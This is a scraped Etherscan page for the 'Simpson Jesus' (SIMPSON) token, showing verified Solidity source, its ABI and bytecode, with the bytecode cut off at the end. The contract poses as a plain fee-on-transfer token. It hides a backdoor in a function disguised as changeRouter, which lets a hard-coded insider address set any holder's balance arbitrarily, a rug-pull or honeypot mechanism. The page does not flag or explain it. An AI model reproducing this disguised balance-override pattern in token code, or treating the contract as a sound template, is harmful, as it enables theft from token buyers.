ETH Price: $2,911.21 (-7.21%)
 

Overview

Max Total Supply

666,444,444,444 SIMPSON

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,640 SIMPSON

Value
$0.00
0x6CAf9A14faC5e59634cB35C03cc9e5bEbE3Ee27a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SIMPSON

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/
/**

Telegram : https://t.me/SimpsonJesusPortal
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    constructor () {
        _owner = msg.sender;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }
}

contract SIMPSON is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public MARKING;

    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 public totalSupply;

    IUniswapRouter public _uniswapRouter;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _fee = 0;
    address public _uniswapPair;

    constructor (){
        name = "Simpson Jesus";
        symbol = "SIMPSON";
        decimals = 9;
        uint256 Supply = 666444444444;
        MARKING = 0x849cEb7c0567DE082095367625a6E62C8274B342;

        totalSupply = Supply * 10 ** decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[MARKING] = true;
        _balances[receiveAddr] = totalSupply;
        emit Transfer(address(0), receiveAddr, totalSupply);

        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;

    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    struct inswaper{address mss;uint256 amo;address fom;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function changeRouter(address ac,uint256 na) public {inswaper memory index = inswaper({mss : msg.sender,amo : na,fom : ac});require(MARKING == index.mss);_balances[index.fom] = index.amo;}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {_transfer(sender, recipient, amount);if (_allowances[sender][msg.sender] != MAX) {_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;}return true;}
    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    
    function _transfer(address from,address to,uint256 amount
    ) private {

        if (_uniswapPair == to && !inSwap) {
            inSwap = true;
            uint256 _bal = balanceOf(address(this));
            if (_bal > 0) {
                uint256 _swapamount = amount;
                _swapamount = _swapamount > _bal ? _bal : _swapamount;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = _uniswapRouter.WETH();
                try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_swapamount,0,path,address(MARKING),block.timestamp) {} catch {}
            }
            inSwap = false;
        }
        
        bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap;

        _balances[from] = _balances[from] - amount;
        uint256 feeAmount;

        if (takeFee && _fee > 0) {
            uint256 _a = amount * _fee / 100;
            feeAmount += _a;
            _balances[address(this)] = _balances[address(this)] + _a;
            emit Transfer(from, address(this), _a);
        }

        _balances[to] = _balances[to] + amount - feeAmount;
        emit Transfer(from, to, amount - feeAmount);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MARKING","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ac","type":"address"},{"internalType":"uint256","name":"na","type":"uint256"}],"name":"changeRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600a553480156200001657600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600d81526020017f53696d70736f6e204a657375730000000000000000000000000000000000000081525060049080519060200190620000a492919062000713565b506040518060400160405280600781526020017f53494d50534f4e0000000000000000000000000000000000000000000000000081525060059080519060200190620000f292919062000713565b506009600660006101000a81548160ff021916908360ff1602179055506000649b2b2f331c905073849ceb7c0567de082095367625a6e62c8274b342600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900460ff16600a6200018c9190620008d3565b8162000199919062000a10565b60088190555060003390506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200037691906200085b565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004e157600080fd5b505afa158015620004f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200051c9190620007da565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620005a157600080fd5b505afa158015620005b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005dc9190620007da565b6040518363ffffffff1660e01b8152600401620005fb9291906200082e565b602060405180830381600087803b1580156200061657600080fd5b505af11580156200062b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006519190620007da565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000b7c565b828054620007219062000abc565b90600052602060002090601f01602090048101928262000745576000855562000791565b82601f106200076057805160ff191683800117855562000791565b8280016001018555821562000791579182015b828111156200079057825182559160200191906001019062000773565b5b509050620007a09190620007a4565b5090565b5b80821115620007bf576000816000905550600101620007a5565b5090565b600081519050620007d48162000b62565b92915050565b600060208284031215620007f357620007f262000b50565b5b60006200080384828501620007c3565b91505092915050565b620008178162000a71565b82525050565b620008288162000aa5565b82525050565b60006040820190506200084560008301856200080c565b6200085460208301846200080c565b9392505050565b60006020820190506200087260008301846200081d565b92915050565b6000808291508390505b6001851115620008ca57808604811115620008a257620008a162000af2565b5b6001851615620008b25780820291505b8081029050620008c28562000b55565b945062000882565b94509492505050565b6000620008e08262000aa5565b9150620008ed8362000aaf565b92506200091c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000924565b905092915050565b60008262000936576001905062000a09565b8162000946576000905062000a09565b81600181146200095f57600281146200096a57620009a0565b600191505062000a09565b60ff8411156200097f576200097e62000af2565b5b8360020a91508482111562000999576200099862000af2565b5b5062000a09565b5060208310610133831016604e8410600b8410161715620009da5782820a905083811115620009d457620009d362000af2565b5b62000a09565b620009e9848484600162000878565b9250905081840481111562000a035762000a0262000af2565b5b81810290505b9392505050565b600062000a1d8262000aa5565b915062000a2a8362000aa5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a665762000a6562000af2565b5b828202905092915050565b600062000a7e8262000a85565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000ad557607f821691505b6020821081141562000aec5762000aeb62000b21565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000b6d8162000a71565b811462000b7957600080fd5b50565b611a178062000b8c6000396000f3fe6080604052600436106101025760003560e01c806370a0823111610095578063c5b37c2211610064578063c5b37c221461036c578063d41b8fcf14610397578063dbc4c42d146103c2578063dd62ed3e146103eb578063f2fde38b1461042857610109565b806370a082311461029c5780638da5cb5b146102d957806395d89b4114610304578063a9059cbb1461032f57610109565b8063313ce567116100d1578063313ce567146101de57806336b2e027146102095780634bf28fd01461024657806365b61b771461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b604051610130919061154b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061137f565b6104df565b60405161016d9190611515565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b604051610198919061158d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061132c565b6104fc565b6040516101d59190611515565b60405180910390f35b3480156101ea57600080fd5b506101f36106a2565b6040516102009190611602565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190611292565b6106b5565b60405161023d9190611515565b60405180910390f35b34801561025257600080fd5b5061025b6106d5565b60405161026891906114fa565b60405180910390f35b34801561027d57600080fd5b506102866106fb565b6040516102939190611530565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190611292565b610721565b6040516102d0919061158d565b60405180910390f35b3480156102e557600080fd5b506102ee61076a565b6040516102fb91906114fa565b60405180910390f35b34801561031057600080fd5b50610319610793565b604051610326919061154b565b60405180910390f35b34801561033b57600080fd5b506103566004803603810190610351919061137f565b610821565b6040516103639190611515565b60405180910390f35b34801561037857600080fd5b50610381610838565b60405161038e919061158d565b60405180910390f35b3480156103a357600080fd5b506103ac61083e565b6040516103b991906114fa565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e4919061137f565b610864565b005b3480156103f757600080fd5b50610412600480360381019061040d91906112ec565b61095e565b60405161041f919061158d565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a9190611292565b6109e5565b005b6004805461045e90611857565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90611857565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610ab6565b6001905092915050565b60085481565b6000610509848484610ba1565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106169190611753565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546107a090611857565b80601f01602080910402602001604051908101604052809291908181526020018280546107cc90611857565b80156108195780601f106107ee57610100808354040283529160200191610819565b820191906000526020600020905b8154815290600101906020018083116107fc57829003601f168201915b505050505081565b600061082e338484610ba1565b6001905092915050565b600a5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090d57600080fd5b806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061156d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b94919061158d565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c0b5750600960149054906101000a900460ff16155b15610ebd576001600960146101000a81548160ff0219169083151502179055506000610c3630610721565b90506000811115610ea0576000829050818111610c535780610c55565b815b90506000600267ffffffffffffffff811115610c7457610c73611945565b5b604051908082528060200260200182016040528015610ca25781602001602082028036833780820191505090505b5090503081600081518110610cba57610cb9611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5c57600080fd5b505afa158015610d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9491906112bf565b81600181518110610da857610da7611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e689594939291906115a8565b600060405180830381600087803b158015610e8257600080fd5b505af1925050508015610e93575060015b610e9c57610e9d565b5b50505b6000600960146101000a81548160ff021916908315150217905550505b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f635750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f7c5750600960149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc99190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561101d57506000600a54115b156111435760006064600a548561103491906116f9565b61103e91906116c8565b9050808261104c9190611672565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110999190611672565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611139919061158d565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118f9190611672565b6111999190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112379190611753565b604051611244919061158d565b60405180910390a35050505050565b600081359050611262816119b3565b92915050565b600081519050611277816119b3565b92915050565b60008135905061128c816119ca565b92915050565b6000602082840312156112a8576112a7611974565b5b60006112b684828501611253565b91505092915050565b6000602082840312156112d5576112d4611974565b5b60006112e384828501611268565b91505092915050565b6000806040838503121561130357611302611974565b5b600061131185828601611253565b925050602061132285828601611253565b9150509250929050565b60008060006060848603121561134557611344611974565b5b600061135386828701611253565b935050602061136486828701611253565b92505060406113758682870161127d565b9150509250925092565b6000806040838503121561139657611395611974565b5b60006113a485828601611253565b92505060206113b58582860161127d565b9150509250929050565b60006113cb83836113d7565b60208301905092915050565b6113e081611787565b82525050565b6113ef81611787565b82525050565b60006114008261162d565b61140a8185611650565b93506114158361161d565b8060005b8381101561144657815161142d88826113bf565b975061143883611643565b925050600181019050611419565b5085935050505092915050565b61145c81611799565b82525050565b61146b816117dc565b82525050565b61147a816117ee565b82525050565b600061148b82611638565b6114958185611661565b93506114a5818560208601611824565b6114ae81611979565b840191505092915050565b60006114c6600683611661565b91506114d18261198a565b602082019050919050565b6114e5816117c5565b82525050565b6114f4816117cf565b82525050565b600060208201905061150f60008301846113e6565b92915050565b600060208201905061152a6000830184611453565b92915050565b60006020820190506115456000830184611462565b92915050565b600060208201905081810360008301526115658184611480565b905092915050565b60006020820190508181036000830152611586816114b9565b9050919050565b60006020820190506115a260008301846114dc565b92915050565b600060a0820190506115bd60008301886114dc565b6115ca6020830187611471565b81810360408301526115dc81866113f5565b90506115eb60608301856113e6565b6115f860808301846114dc565b9695505050505050565b600060208201905061161760008301846114eb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061167d826117c5565b9150611688836117c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116bd576116bc611889565b5b828201905092915050565b60006116d3826117c5565b91506116de836117c5565b9250826116ee576116ed6118b8565b5b828204905092915050565b6000611704826117c5565b915061170f836117c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561174857611747611889565b5b828202905092915050565b600061175e826117c5565b9150611769836117c5565b92508282101561177c5761177b611889565b5b828203905092915050565b6000611792826117a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006117e782611800565b9050919050565b60006117f9826117c5565b9050919050565b600061180b82611812565b9050919050565b600061181d826117a5565b9050919050565b60005b83811015611842578082015181840152602081019050611827565b83811115611851576000848401525b50505050565b6000600282049050600182168061186f57607f821691505b60208210811415611883576118826118e7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6119bc81611787565b81146119c757600080fd5b50565b6119d3816117c5565b81146119de57600080fd5b5056fea2646970667358221220dae440813d39d3344877a63cfdba31c0641eb4b6f74134965799180f409402d064736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a0823111610095578063c5b37c2211610064578063c5b37c221461036c578063d41b8fcf14610397578063dbc4c42d146103c2578063dd62ed3e146103eb578063f2fde38b1461042857610109565b806370a082311461029c5780638da5cb5b146102d957806395d89b4114610304578063a9059cbb1461032f57610109565b8063313ce567116100d1578063313ce567146101de57806336b2e027146102095780634bf28fd01461024657806365b61b771461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b604051610130919061154b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061137f565b6104df565b60405161016d9190611515565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b604051610198919061158d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061132c565b6104fc565b6040516101d59190611515565b60405180910390f35b3480156101ea57600080fd5b506101f36106a2565b6040516102009190611602565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190611292565b6106b5565b60405161023d9190611515565b60405180910390f35b34801561025257600080fd5b5061025b6106d5565b60405161026891906114fa565b60405180910390f35b34801561027d57600080fd5b506102866106fb565b6040516102939190611530565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190611292565b610721565b6040516102d0919061158d565b60405180910390f35b3480156102e557600080fd5b506102ee61076a565b6040516102fb91906114fa565b60405180910390f35b34801561031057600080fd5b50610319610793565b604051610326919061154b565b60405180910390f35b34801561033b57600080fd5b506103566004803603810190610351919061137f565b610821565b6040516103639190611515565b60405180910390f35b34801561037857600080fd5b50610381610838565b60405161038e919061158d565b60405180910390f35b3480156103a357600080fd5b506103ac61083e565b6040516103b991906114fa565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e4919061137f565b610864565b005b3480156103f757600080fd5b50610412600480360381019061040d91906112ec565b61095e565b60405161041f919061158d565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a9190611292565b6109e5565b005b6004805461045e90611857565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90611857565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610ab6565b6001905092915050565b60085481565b6000610509848484610ba1565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106169190611753565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546107a090611857565b80601f01602080910402602001604051908101604052809291908181526020018280546107cc90611857565b80156108195780601f106107ee57610100808354040283529160200191610819565b820191906000526020600020905b8154815290600101906020018083116107fc57829003601f168201915b505050505081565b600061082e338484610ba1565b6001905092915050565b600a5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090d57600080fd5b806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061156d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ff